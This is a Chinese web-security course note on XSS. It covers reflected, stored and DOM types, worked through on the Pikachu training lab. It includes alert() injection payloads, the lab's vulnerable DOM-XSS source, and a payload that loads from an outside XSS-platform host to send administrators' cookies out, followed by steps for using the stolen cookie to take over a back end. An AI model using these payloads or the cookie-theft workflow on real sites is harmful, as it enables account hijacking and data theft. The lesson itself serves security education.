《小迪安全》第25天 XSS跨站:原理及攻击手法
反射型:发包 参数 x=123 -> x.php -> 回显存储型:发包 参数 x=123 -> x.php -> 写到数据库某个地方 -> x.php -> 回显DOM型:发包 参数 x=123 -> 本地浏览器静态前端代码(给HTML或JS代码处理,没有后端语言参与) -> x.php为什么要把分类讲的这么清楚,因为跨站漏洞黑盒测试时看不到后端代码,通过前端抓包+查看前端源代码可以弄清楚具体是
目录
原理
XSS漏洞产生原理
和语言没关系,属于前端漏洞。通过一个简单例子了解一下:
<?PHP $xss = $_GET['x']; echo $xss; ?>
访问:http://39.96.44.170/test.php?x=1(传参 x=1)
显示:1(显示 x=1)
假如传参写上这么一个代码:http://39.96.44.170/test.php?x=<script>alert(1)</script>
页面弹出弹窗:1
文件上传漏洞出现在上传文件时过滤没做好,注入漏洞在接受参数代入数据库执行查询的过程中没有过滤好导致注入。
跨站的原理非常简单,在变量接受数据时,数据可能被写成JavaScript脚本,对方代码如果有回显操作(反射型),代码由于是JS代码可以被浏览器识别&执行,代码就会被执行。
Js是浏览器执行的前端语言,用户在存在xss漏洞的站点url后者能输入数据的部分插入js语言,服务器接收到此数据,认为是js代码,从而返回的时候执行。因此,攻击者可利用这个漏洞对站点插入任意js代码进行窃取用户的信息。
攻击层面:执行的通常都是JS代码,JS代码能干嘛XSS漏洞就能干嘛,通常出现在常见输出型函数比如print、echo。
浏览器内核版本:也会影响漏洞点,比如上文alert(1)的例子在火狐、Chrome可执行,但在IE不可执行(显示:IE已对此页面进行了修改,以阻止跨站点脚本。)这是XSS漏洞鸡肋的地方,是否存在、能否利用,需要一定的前提条件。
XSS漏洞危害
- 1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
- 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
- 3、盗窃企业重要的具有商业价值的资料
- 4、非法转账
- 5、强制发送电子邮件
- 6、网站挂马
- 7、控制受害者机器向其它网站发起攻击(重定向语句)
- 8、窃取cookie的sessionid,冒充登录。
XSS攻击利用到最大就需要自己有台服务器用于窃取信息,还要利用一点社工,骗取别人点击恶意的链接。
分类
反射型(非持续型)危害性低 SRC可能不接受
以pikachu 反射型XSS(GET) https://github.com/zhuifengshaonianhanlu/pikachu 为例
输入xiaodi,页面显示:who is xiaodi,i don't care!
URL:http://localhost:8765/vul/xss/xss_reflected_get.php?message=xiaodi&submit=submit
合理推测:修改URL中xiaodi的值为JS脚本,则可以回显。
输入框有长度限制,右键审查网页元素,把长度限制maxlength改大一点,直接在框里输入脚本语句也可以。
网页弹出1。
反射型漏洞,不构造就不会被触发。需要把构造好的链接发出去,别人点击访问,才会触发。反射型漏洞和存储型最大的区别就是:攻击不会触碰到对方服务器。存储型(类似留言板)不一样,相当于你写一个东西,它写入数据库,显示时是先查数据库再显示,多了一个数据库存储的操作。
存储型(持续型)持续攻击 危害大 SRC可能接受
以 Pikachu 存储型XSS 为例。http://localhost:8765/vul/xss/xss_stored.php
依次留言:1,2,<script>alert(1)</script>
只要再访问http://localhost:8765/vul/xss/xss_stored.php,永远有弹窗,持续攻击。
因为留言板类似脚本语句写入,只要有人访问留言板,脚本就会被执行一次,所以称为存储型/持续型。攻击会持续到语句被删除为止。
前几年QQ空间日志出现过跨站漏洞,有人在自己的日志里写上跨站代码,诱使别人看他日志,所有看他日志的人统统中招,同样评论区、留言板也是一样的,下一个浏览者去访问机会触发。
DOM型
首先看一下HTML DOM树:
有些网页功能在HTML代码里DOM里实现,不反映在URL上,比如有的网站每翻一页URL都会有参数变化,但有的网站只需点击“显示更多”就能继续浏览,URL没有变化。这是因为操作在HTML DOM里实现了。
DOM型XSS
以 pikachu DOM XSS 为例。
输入1,网页显示【有些费尽心机想要忘记的事情,后来真的就忘掉了】,URL变成:http://localhost:8765/vul/xss/xss_dom_x.php?text=1
点击【有些费尽心机想要忘记的事情,后来真的就忘掉了】,网页显示【就让往事都随风,都随风吧】,URL变成http://localhost:8765/vul/xss/xss_dom_x.php?text=1#
查看网页源代码:
发现是在点击【有些费尽心机想要忘记的事情,后来就真的忘掉了】时,调用domxss function,显示了【就让往事都随风,都随风吧】
抓包分析一下:
- 测试语句 1点击【说出你的伤心往事】右键检查 网络
- 数据包头传参是 ?text=1 出现【有些费尽心机…】
- 点击【有些费尽心机…】出现【就让往事随风吧】没有抓到新数据包说明操作在前端代码完成,没有给后端php
- 右键复制地址【就让往事随风吧】发现是http://127.0.0.1/pikachu/vul/xss/1
来到源代码看一下:
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xss_dom.php"){ $ACTIVE = array('','','','','','','','active open','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; include_once $PIKA_ROOT_DIR."inc/config.inc.php"; include_once $PIKA_ROOT_DIR."inc/mysql.inc.php"; $html=''; if(isset($_GET['text'])){ $html.= "<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>"; } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xss.php">xss</a> </li> <li class="active">DOM型xss</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)" data-content="dom型XSS是鸡肋吗?"> 点一下提示~ </a> </div> <div class="page-content"> <div id="xssd_main"> <script> function domxss(){ var str = window.location.search; var txss = decodeURIComponent(str.split("text=")[1]); var xss = txss.replace(/\+/g,' '); // alert(xss); document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>"; } //试试:'><img src="#" onmouseover="alert('xss')"> //试试:' onclick="alert('xss')">,闭合掉就行 </script> <!--<a href="" onclick=('xss')>--> <form method="get"> <input id="text" name="text" type="text" value="" /> <input id="submit" type="submit" value="请说出你的伤心往事"/> </form> <div id="dom"></div> </div> <?php echo $html;?> </div><!-- /.page-content --> </div> </div><!-- /.main-content --> <?php include_once $PIKA_ROOT_DIR.'footer.php'; ?>
DOM型XSS - 2
- 测试语句:#' οnclick="alert(2)">
- 点击 click me! 出现【'>what do you see?】
- 点击【'>what do you see?】出现弹窗:2
3种类型总结
反射型: 发包 参数 x=123 -> x.php -> 回显 存储型: 发包 参数 x=123 -> x.php -> 写到数据库某个地方 -> x.php -> 回显 DOM型: 发包 参数 x=123 -> 本地浏览器静态前端代码(给HTML或JS代码处理,没有后端语言参与) -> x.php
为什么要把分类讲的这么清楚,因为跨站漏洞黑盒测试时看不到后端代码,通过前端抓包+查看前端源代码可以弄清楚具体是哪一类、怎么应用(插入语句)。
DOM型可以直接从网站源代码分析有没有漏洞。
反射型、存储型无法从前端代码看出,需要测试。
手法
以前最常见的跨站漏洞就是把恶意代码写进订单信息,后台管理人查看订单信息时恶意代码被触发执行,管理员登录信息cookie被窃取。可以通过该信息登陆后台,导出过往订单等敏感信息。
类似:app反馈平台,管理员查看时触发跨站代码。凡是可以和其他用户产生交互的地方都可能有可利用的跨站漏洞(留言板、订单、反馈信息。。。)
有的地方可能有JavaScript过滤导致跨站代码无法插入。
小迪自搭建留言板示例,插入语句 <BODY οnlοad="alert(XSS)">
管理员登录,查看新留言时触发语句,出现弹窗:
此时如果跨站代码是盗取Cookie的语句,就能攻击成功。
XSS平台使用
XSS平台 - (支持http/https)XSS Platform
获取Cookie
创建项目后可以勾选各种功能:只需获取Cookie的话点击默认配置即可。
会出现许多触发代码:
测试语句:<img sRC=//xsshs.cn/EjzM/xss.jpg> 进行留言,查看留言,触发弹窗,抓数据包发现该jpg访问的网址是XSS搭建平台所搭建的项目网址。
然后回到XSS平台搭建的项目列表,就能看到返回的信息(包括触发的网站地址和Cookie)。
获取到Cookie,用Cookie修改工具或抓包工具把数据包一改就可进入到对方后台。
基础认证钓鱼
把项目配置里勾选上基础认证钓鱼,查看项目代码,复制测试语句,留言板注入。查看留言板成功触发,出现弹窗
【翻车了没讲】
Cookie:保存在用户端的登陆凭据,存储时间较长,如果管理员没有登陆操作,或没有保持登陆情况时触发了盗取Cookie的跨站攻击语句,盗取的也只是一个没有权限没有登陆的Cookie。
Cookie & Session
Cookie和Session都是在Web开发中用来维护用户状态的方式,但它们有一些区别:
Cookie:
存储位置: Cookie是在客户端(用户的浏览器)保存的小段文本数据。
容量限制: 每个Cookie的存储容量通常有限制,大约在几KB到几MB之间,不同浏览器和配置有所不同。
持久性: 可以设置Cookie的过期时间,可以是会话级的(当用户关闭浏览器时失效)或者长期有效。
隐私性: 存储在用户浏览器中,因此对于隐私安全存在一定的风险,尤其是敏感信息。可以通过加密等方式增强安全性。
Session:存储位置: Session数据通常存储在服务器上。
容量限制: 通常比Cookie可以存储更多的数据,因为它是存储在服务器端的。
持久性: Session可以在用户关闭浏览器后保持活动状态(取决于服务器设置),但也可以在用户注销或一定时间后失效。
隐私性: 相对于Cookie,Session数据更安全,因为它存储在服务器端。但是,Session ID 在某些情况下可能会有安全风险,需要采取措施来防止会话劫持或会话固定攻击。
通常,Cookie用于在客户端保持一些小型数据,比如用户的偏好设置或身份验证信息,而Session更适合存储对用户更敏感或更大量的数据,比如购物车内容或登录信息。在实际应用中,它们经常一起使用,比如将一个唯一的Session ID 存储在Cookie中,以便在服务器端检索相应的Session数据。
对方不登陆,XSS就没有卵用。这就是XSS的鸡肋之处:限制条件多。对方网址有漏洞、对方管理员要登陆、对方要有触发操作(点击/查看/…)、对方浏览器版本无拦截过滤、对方浏览器里的Cookie还没删除(对方保存登录信息)、对方不是无痕浏览。。。
XSS工具使用
beef
XSS结合其他漏洞
绕过(防护)
代码过滤
HTTP Only
WAF拦截
修复
安全修复方案
更多推荐
所有评论(0)